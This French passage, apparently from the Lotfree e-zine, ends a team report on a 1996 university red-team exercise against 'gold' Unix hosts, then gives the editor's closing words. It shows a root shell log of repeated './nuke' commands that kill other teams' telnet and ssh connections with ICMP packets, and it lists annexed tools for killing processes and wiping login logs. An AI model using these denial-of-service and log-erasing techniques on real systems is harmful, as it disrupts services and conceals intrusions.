La GUERRE était déclarée ! Pendant une heure et demi, nous avons tué toutes les connexions telnet et ssh sur gold2 en nous servant de nuke. Pendant ce temps, les membres de l'équipe black4 qui en avaient la possibilité tuaient nos processus.

Voici les quelques dernières commandes récupérées de la fenêtre xterm de l'un des notre alors que c'était le chaos. Cet utilisateur était connecté à black5 en root et envoyait des paquets ICMP_port_unreachable pour tuer les connexions des autres équipes. Quatre autres membre de l'équipe faisaient la même chose :) :

# ./nuke gold2 black4 113 32985
# ./nuke gold2 black4 1189 23
# ./nuke gold2 black4 1191 23
# ./nuke gold2 black4 1192 23
# ./nuke gold2 black4 113 23
# ./nuke gold2 black4 54466 22
# ./nuke gold2 black4 1195 23
# ./nuke gold2 black4 1194 23
# ./nuke gold2 black4 sunrpc 33013
# cat /etc/services | grep sunrpc
sunrpc 111/udp rpcbind
sunrpc 111/tcp rpcbind
# ./nuke gold2 black4 111 33013
# ./nuke gold2 black4 1194 23
# ./nuke gold2 black4 113 33060
# ./nuke gold2 black4 1196 23
# ./nuke gold2 black4 113 23
# ./nuke gold2 black4 1197 23
# ./nuke gold2 black4 113 23
# ./nuke gold2 black4 113 33070
# ./nuke gold2 black4 1198 23
# ./nuke gold2 black4 1198 23
# ./nuke gold2 black4 1202 23
# ./nuke gold2 black4 1203 23
            .
            .
            .
# ./nuke gold2 black4 113 33186
# ./nuke gold2 black4 1204 23
# ./nuke gold2 kennel 54510 finger
# ./nuke gold2 kennel 54514 22
# ./nuke gold2 kennel 54504 23
# ./nuke gold2 kennel 54506 23
# ./nuke gold2 kennel 54505 22
# ./nuke gold2 kennel 51128 22

Nous aurions très bien pu gagner facilement la « bataille » en effacant simplement les fichiers « ps » et « kill » de /etc, rendant ainsi black4 « aveugle ». Nous n'y avons pas pensé sur le moment. Tout le monde était tellement obnubilé par la présence de ces services que personne ne se rendit compte qu'il suffisait d'effacer quelques fichiers !

A 6 heures, nous étions fatigués de cette querelle insignifiante. Un membre de notre équipe, edaniel, changea le mot de passe eeprom (electrically erasable programmable ROM) et redémarra la machine. Nous avions le dernier mot, le jeu fut déclaré clôt par M. Willis Marti.

6. Outils de scanning

Les outils de scan que nous avons utilisé sont listés ci-dessous. COPS a été exécuté sur gold2 le premier jour de hacking. Toutes les failles testées par COPS étaient patchées sur les systèmes Gold.

1. Computerized Oracle and Password System (COPS)

Nous avons lancé ce programme sur gold2 afin de tester les failles connues dans le monde de la sécurité. Voici les rapport de sécurité généré :

Security Report for Mon Jun 17 01:00:14 CDT 1996

from host gold2
**** root.chk ****
**** dev.chk ****
**** is_able.chk ****
**** rc.chk ****
**** cron.chk ****
**** group.chk ****
**** home.chk ****
**** passwd.chk ****
**** user.chk ****
**** misc.chk ****
**** ftp.chk ****
**** pass.chk ****
**** kuang ****
**** bug.chk ****

Les différentes vérifications qui ont été faites incluent :

1 - Vérifier certains fichiers comme /etc/passwd, /etc/shadow, .profile, /bin, /etc

ainsi que d'autres fichiers et répertoires critiques.

2 - Nous avons aussi vérifié si certains utilisateurs avaient un mot de passe vide

3 - Vérifier si certains fichiers cron sont en écriture pour tout le monde

4 - Tester les vulnérabilités ftp ou chercher les mauvaises configurations

5 - Vérifier les bugs connus

2. SATAN

SATAN a été téléchargé puis compilé. Il n'a pas été exécuté sur un système fermé, car il nécessitait une communication avec des serveurs distants pour fonctionner.

7. Conclusion

Pour conclure, nous avons eu accès à tous les comptes par trois reprises, accès root sur gold2 à deux reprises et une fois root sur gold1. Nous avons monté avec succès une attaque par déni de service basée sur le bombardement de paquets « ICMP_port_unreachable ». Cette attaque tuait les connexions telnet et ssh des autres équipes sur gold2.

Nous avons testé énormément de choses, beaucoup ne sont pas listées dans ce rapport car nous n'en avons pas pris note. Tous les membres de l'équipe ont acquis beaucoup de connaissances sur l'administration système. Nous avons découvert à quel point il est difficile de déceler les erreurs d'un système ; mais plus important ; les techniques/attaques des autres groupes black nous ont montré à quel point certaines choses sont négligées concernant la sécurité.

Le cours a compté aussi bien des moments à vide que des moments excitants. Nous pensons qu'il devrait continuer à être enseigné l'été prochain.

Pour finir, nous souhaitons nous féliciter nous même pour les efforts que nous avons du donner pour l'écriture de ces deux rapports finals, et pour l'intrusion réussie des systèmes gold.

Bonne chance,

l'équipe Black2.

8. Suggestions pour la prochaine version de ce cours

Le cours a eu ses quelques moments mémorables, spécialement à deux moments. La première fois c'était quand l'utilisateur ajayj était bloqué avec un uid de 0 et a essayé pendant deux heures et demi d'avoir un status d'utilisateur normal. Plus tard, nous nous sommes beaucoup amusés à nous battre avec l'équipe black4 pour le contrôle de gold2.

Voici nos suggestions :

1 - Une des choses qui sans aucun doute améliorera la performance de la classe est l'interaction entre les groupes black ainsi que plus de participations de la part des instructeurs.

2 - Nous pensons que si lors de la première partie du cours nous avions reçu des informations techniques (étude des fichiers importants, structure principale d'un système unix, présentation par des administrateurs système), nous aurions pu élaborer des attaques plus performantes.

3 - Nous aurions souhaité avoir plus d'informations sur nos actions ainsi que les actions des autres équipes. Par exemple l'équipe gold, ou un comité de conseil, aurait fait l'annonce des failles corrigées.

9. Annexes

1. Scripts & Philez

o  kill_proc.sh : Script qui tue tous les processus associés à d'autres terminals

o  logcleaner.c : Ce programme efface les entrées dans les fichiers utmp, utmpx, xtmp et wtmpx

o  nuke.c : Code pour la version légèrement modifiée du célèbre nuke.c

o  treelight.tar.gz : Code du programme Treelight publié dans le numéro #4 de FEH

2. Références

[1] U.W. Pooch et.al., Computer Systems and Network Security, CRC press, 1st edition

[2] Simson Garfinkel and Gene Spafford, Practical Unix & Internet Security, O'Reilly, 2nd edition

[3] W.R.Stevens, Unix Network Programming, Prentice Hall, 1st edition

[4] Sun Microsystems, System Administrator's Guide to Solaris 2.5

  J'ai beau n'avoir rien foutu, mais ce fût très dur de récolter de bons articles et encore plus de trouver des personnes motivés et ayant du temps libre pour écrire des articles; ce fût comme même une expérience assez enrichissante.

  Je voudrais remercier tout ceux qui ont participer à ce numéro et ceux qui ont mis le dernier Lotfree sur leur site, tout particulièrement l'admin d'Abyssal (http://abyssal.homelinux.org), site où vous pouvez lire le précédent opus online.

  Je tiens aussi à vous signaler qu'il existe un forum Lotfree (http://www.lotfree-forum.tk/ où bien http://tgonissan.free.fr/), où vous pourrez avoir des nouvelles du prochain opus, et où on parle aussi de coding, security, "hacking" ...etc

  En ce qui concerne le huitième opus, y a des chances pour qu'il sorte, mais de là à vous dire quand, c'est une autre paire de manche. Si vous voulez voir un Lotfree#08 sortir le plus tôt possible, il n y a qu'une seul solution: nous écrire des articles!

  L'éditeur du prochain Lotfree sera vraisemblablement sirius_black, vous pouvez donc lui envoyer vos articles à cette adresse:   sirius_black[chez]imel[point]org